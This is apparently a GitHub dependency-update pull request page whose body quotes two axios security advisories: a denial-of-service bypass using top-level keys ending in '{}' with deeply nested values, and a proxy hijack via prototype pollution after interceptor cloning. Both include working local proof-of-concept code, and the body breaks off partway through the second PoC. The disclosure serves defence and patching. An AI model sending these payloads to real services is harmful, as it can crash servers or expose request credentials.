Server-side applications are the primary concern when they accept user-controlled input and pass it into axios as data or params for multipart/form-data, application/x-www-form-urlencoded, or default parameter serialization. Browser impact is limited to the page or request context unless the application builds a broader failure mode around the thrown exception.

The attack requires control over a top-level object key ending in {} and a deeply nested object value. The option formSerializer.metaTokens: false is not a workaround because it only changes the emitted key name; the value is still stringified.

Affected Functionality

Affected paths include:

  • lib/helpers/toFormData.js when a top-level key ends with {}.
  • lib/helpers/toURLEncodedForm.js, which delegates to helpers.defaultVisitor.
  • lib/helpers/AxiosURLSearchParams.js, used by default params serialization.
  • Request transforms in lib/defaults/index.js when object data is serialized as multipart/form-data or application/x-www-form-urlencoded.

Unaffected paths include:

  • Already-created FormData or URLSearchParams values that axios does not walk with toFormData.
  • Custom paramsSerializer.serialize implementations that do not call axios toFormData.
  • Non-{} deeply nested values in toFormData, which hit ERR_FORM_DATA_DEPTH_EXCEEDED as intended.
Technical Details

In lib/helpers/toFormData.js, defaultVisitor() handles top-level keys ending in {} before recursive traversal:

if (value && !path && typeof value === 'object') {
  if (utils.endsWith(key, '{}')) {
    key = metaTokens ? key : key.slice(0, -2);
    value = JSON.stringify(value);
  }
}

The depth guard is in build():

if (depth > maxDepth) {
  throw new AxiosError(
    'Object is too deeply nested (' + depth + ' levels). Max depth: ' + maxDepth,
    AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED
  );
}

For {} metatoken values, build() only sees the top-level property. The nested value is handed directly to native JSON.stringify(), which recurses internally and can throw RangeError before axios emits the intended AxiosError.

Proof of Concept of Attack

Safe local PoC with no network I/O:

import toFormData from './lib/helpers/toFormData.js';

function buildDeep(depth) {
  const head = {};
  let cur = head;

  for (let i = 0; i < depth; i += 1) {
    cur.x = {};
    cur = cur.x;
  }

  return head;
}

try {
  toFormData({ 'evil{}': buildDeep(10000) });
} catch (err) {
  console.log(err.name, err.code || '', err.message);
}

// Expected affected result:
// RangeError  Maximum call stack size exceeded

Expected fixed behavior is an AxiosError with code ERR_FORM_DATA_DEPTH_EXCEEDED.

Workarounds

Reject or depth-limit untrusted objects before passing them to axios serialization.

Strip or reject top-level keys ending in {} from untrusted objects when using axios form serialization.

For query parameters, use a custom paramsSerializer.serialize that enforces a depth limit.

For form bodies, construct FormData or URLSearchParams manually after validating input depth.

Original Report
Summary

The maxDepth=100 guard added in axios 1.15.0 to fix GHSA-62hf-57xw-28j9 lives inside the build() recursion in lib/helpers/toFormData.js. The default visitor at lib/helpers/toFormData.js:166-170 still has a top-level shortcut that calls JSON.stringify(value) whenever a key ends in '{}', before build() ever sees the nested value. JSON.stringify on a deeply nested object stack-overflows with RangeError: Maximum call stack size exceeded, which propagates synchronously out of the axios call. The exact attacker-data flow that the original advisory described (proxy-style code that forwards client JSON into axios({ data, params })) still crashes the process at depth ~3000 on a default Node.js stack, despite v1.16.0 being patched.

Details

Affected: axios 1.15.0 - 1.16.0 (every released version that carries the GHSA-62hf-57xw-28j9 fix). The bug is reachable from any code path that hits toFormData, which includes:

  • axios.post(url, data, { headers: { 'content-type': 'application/x-www-form-urlencoded' } }) -> defaults.transformRequest -> toURLEncodedForm(data) -> toFormData
  • axios.post(url, data, { headers: { 'content-type': 'multipart/form-data' } }) -> same path via toFormData
  • axios.get(url, { params }) -> buildURL -> new AxiosURLSearchParams(params) -> toFormData

Vulnerable code, lib/helpers/toFormData.js:

// 156 function defaultVisitor(value, key, path) {
// 165 if (value && !path && typeof value === 'object') {
// 166 if (utils.endsWith(key, '{}')) {
// 167 // eslint-disable-next-line no-param-reassign
// 168 key = metaTokens ? key : key.slice(0, -2);
// 169 // eslint-disable-next-line no-param-reassign
// 170 value = JSON.stringify(value); // <-- V8 native, NOT depth-checked
// 171 } else if (...

build() later does enforce maxDepth:

// 211 function build(value, path, depth = 0) {
// 212 if (utils.isUndefined(value)) return;
// 213
// 214 if (depth > maxDepth) {
// 215 throw new AxiosError(
// 216 'Object is too deeply nested (' + depth + ' levels). Max depth: ' + maxDepth,
// 217 AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED
// 218 );

The '{}' shortcut runs in defaultVisitor, which is invoked from inside build() for top-level keys (the !path clause at line 165 means the shortcut only triggers at top level, where path is undefined). At that point depth === 0 and the maxDepth check has already passed; the recursion-aware guard never sees the nested value because defaultVisitor reassigns value = JSON.stringify(value) and returns the rendered string straight to formData.append. JSON.stringify itself is recursive in V8 and stack-overflows on deeply nested objects, throwing RangeError synchronously.

The behaviour is independent of the metaTokens option: line 168 only changes whether '{}' stays on the key name, line 170 stringifies regardless. toURLEncodedForm's wrapper visitor in lib/helpers/toURLEncodedForm.js:11-14 falls through to the same defaultVisitor, so the form-encoded path is also affected.

The attacker payload is a single top-level key ending in '{}' whose value is a nested object. The keys themselves do not have to be deep, so the payload is small to send (a few KB of {"x":{"x":...}} produces enough nesting to overflow). The original advisory's threat model -- a server that forwards req.body or req.query into axios -- is unchanged:

app.post('/forward', async (req, res) => {
 await axios.post('https://upstream/api', req.body); // req.body attacker-controlled
 res.send('ok');
});
// attacker POST /forward with content-type: application/x-www-form-urlencoded
// body: {"evil{}": <8000-deep object>}
// -> JSON.stringify recurses inside defaultVisitor -> RangeError -> handler crashes

The error is not an AxiosError; it is a raw RangeError thrown from the stringifier, so handlers that look for err.code === 'ERR_FORM_DATA_DEPTH_EXCEEDED' (the documented signal that the maxDepth guard fired) do not see it. Synchronous startup paths or worker threads still take the whole process down.

The fix is to also depth-limit (or pre-walk) the value before calling JSON.stringify on line 170, or to remove the top-level '{}' shortcut and rely on the depth-checked build() recursion to handle it. A minimal patch that preserves observable behaviour for legal payloads:

 if (utils.endsWith(key, '{}')) {
 // eslint-disable-next-line no-param-reassign
 key = metaTokens ? key : key.slice(0, -2);
+ // Reject objects that would exceed maxDepth before handing to JSON.stringify,
+ // which is recursive in V8 and stack-overflows on deeply nested input.
+ (function checkDepth(v, d) {
+ if (d > maxDepth) {
+ throw new AxiosError(
+ 'Object is too deeply nested (' + d + ' levels). Max depth: ' + maxDepth,
+ AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED
+ );
+ }
+ if (v && typeof v === 'object') {
+ for (const k in v) checkDepth(v[k], d + 1);
+ }
+ })(value, 0);
 // eslint-disable-next-line no-param-reassign
 value = JSON.stringify(value);
 }

(The recursion in checkDepth itself is bounded by maxDepth, so it cannot itself overflow.)

PoC

Reproduces against a clean clone of axios/axios at v1.16.0 with npm install already run. targets/axios/poc_jsonstringify_dos.mjs is the script:

import axios from './source/index.js';

function buildDeep(depth) {
 let head = {};
 let cur = head;
 for (let i = 0; i < depth; i++) { cur.x = {}; cur = cur.x; }
 return head;
}

const malicious = buildDeep(5000);
const safeAdapter = () => Promise.resolve({
 data: 'never reached', status: 200, statusText: 'OK', headers: {}, config: {}
});

// 1. POST x-www-form-urlencoded
try {
 await axios.post('http://example.test/x',
 { 'evil{}': malicious },
 { headers: { 'content-type': 'application/x-www-form-urlencoded' }, adapter: safeAdapter });
} catch (e) {
 console.log('POST form-encoded:', e.name, '-', e.message);
}

// 2. GET with params
try {
 await axios.get('http://example.test/x',
 { params: { 'evil{}': malicious }, adapter: safeAdapter });
} catch (e) {
 console.log('GET params:', e.name, '-', e.message);
}

3/3 runs reproduce the same RangeError on axios@1.16.0 with Node.js 24:

$ node poc_jsonstringify_dos.mjs
POST form-encoded: RangeError - Maximum call stack size exceeded
GET params: RangeError - Maximum call stack size exceeded

safeAdapter is a stub that returns a fake response, so the crash is provably inside axios's serialization layer, not in HTTP I/O. Removing the '{}' suffix from the key and re-running gives the expected AxiosError: Object is too deeply nested ... ERR_FORM_DATA_DEPTH_EXCEEDED from the maxDepth guard, confirming the fix is wired correctly elsewhere -- it just does not cover this branch.

Crash threshold on a default-stack Node.js process is roughly depth 2500-3000; 8000 is comfortably above that, and the payload is a few KB.

Impact

A remote, unauthenticated attacker who can influence an object that the application passes to axios as request data or params triggers an uncaught RangeError from inside the synchronous JSON.stringify call in defaultVisitor. In server-side applications that proxy or re-forward client JSON through axios -- the same threat model that motivated GHSA-62hf-57xw-28j9 -- this crashes the request handler and, in worker/cluster setups, the whole process. The previously shipped maxDepth guard does not stop it because the '{}' suffix path bypasses build() entirely. Same severity class as the original advisory (CWE-674 Uncontrolled Recursion, network-reachable DoS); the only difference is the attacker has to suffix one of their object keys with '{}' to land on the unguarded code path.

Severity

  • CVSS Score: 6.9 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Axios Node HTTP adapter can use an inherited proxy after interceptor config cloning

GHSA-gcfj-64vw-6mp9

More information

Details

Summary

Axios’ Node.js HTTP adapter can route requests through an attacker-controlled proxy when Object.prototype.proxy is polluted and request configuration is materialized as a regular object before dispatch.

Recent axios releases harden merged request config by creating a null-prototype object. However, request interceptors run after that merge and may return a replacement config. A common immutable interceptor pattern such as {...config} or Object.assign({}, config) converts the hardened config back into a normal object. Axios then dispatches that object without re-hardening it, and the Node HTTP adapter reads config.proxy through the prototype chain.

Impact

In a Node.js deployment using the HTTP adapter, an attacker who can trigger prototype pollution elsewhere in the process can route affected HTTP requests through an attacker-controlled proxy.

The highest confirmed impact is for plaintext HTTP requests. The proxy can observe explicit Authorization headers, axios-generated Basic auth from config.auth, request method, absolute URL, Host, and request body content. The proxy can also return its own response to axios for the affected request.

This does not establish browser impact. It also does not establish HTTPS header or body disclosure under normal TLS validation.

Affected Functionality

Affected functionality is limited to axios requests that use the Node.js HTTP adapter, including default Node usage when the HTTP adapter is selected and explicit adapter: 'http' usage.

The relevant configuration path is config.proxy in the Node HTTP adapter. The hardened-bypass path requires a request interceptor such as:

api.interceptors.request.use((config) => ({
  ...config,
  headers: {
    ...config.headers,
    'X-App': 'demo'
  }
}));

Unaffected or mitigating conditions include browser adapters, the Node fetch adapter, no polluted Object.prototype.proxy, an own proxy: false or safe own proxy value on the config, and hardened releases where interceptors return the original null-prototype config instead of a regular object clone.

Technical Details

lib/core/mergeConfig.js creates a null-prototype merged config and uses own-property reads for merged values. This is intended to prevent polluted Object.prototype values from affecting config behavior.

lib/core/Axios.js runs request interceptors after the merge. In both the asynchronous and synchronous interceptor paths, axios passes the interceptor-returned config into dispatch.

lib/core/dispatchRequest.js accepts that returned config, transforms request data, selects the adapter, and calls the adapter without re-hardening or re-normalizing the config.

lib/adapters/http.js uses own-property reads for several sensitive fields, but the initial proxy dispatch path still passes config.proxy directly into setProxy(). If an interceptor returned a regular object, config.proxy can resolve to inherited Object.prototype.proxy.

Proof of Concept of Attack
import axios from './index.js';
import http from 'node:http';

for (const key of [
  'HTTP_PROXY', 'HTTPS_PROXY', 'ALL_PROXY',
  'http_proxy', 'https_proxy', 'all_proxy',
  'NO_PROXY', 'no_proxy'
]) {
  delete process.env[key];
}

const listen = (handler) => new Promise((resolve, reject) => {
  const server = http.createServer(handler);
  server.once('error', reject);
  server.listen(0, '127.0.0.1', () => resolve(server));
});

const close = (server) => new Promise((resolve) => server.close(resolve));

const targetHits = [];
const proxyHits = [];

const target = await listen((req, res) => {
  targetHits.push(req.url);
  res.end('target');
});

const proxy = await listen((req, res) => {
  let body = '';
  req.on('data', (chunk) => body += chunk);
  req.on('end', () => {
    proxyHits.push({
      url: req.url,
      authorization: req.headers.authorization,
      host: req.headers.host,
      body
    });
    res.setHeader('content-type', 'application/json');
    res.end('{"se

>  **Note**
> 
> PR body was truncated to here.

@renovate
renovate Bot requested review from buberdds and lubej as code owners July 21, 2026 02:13
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants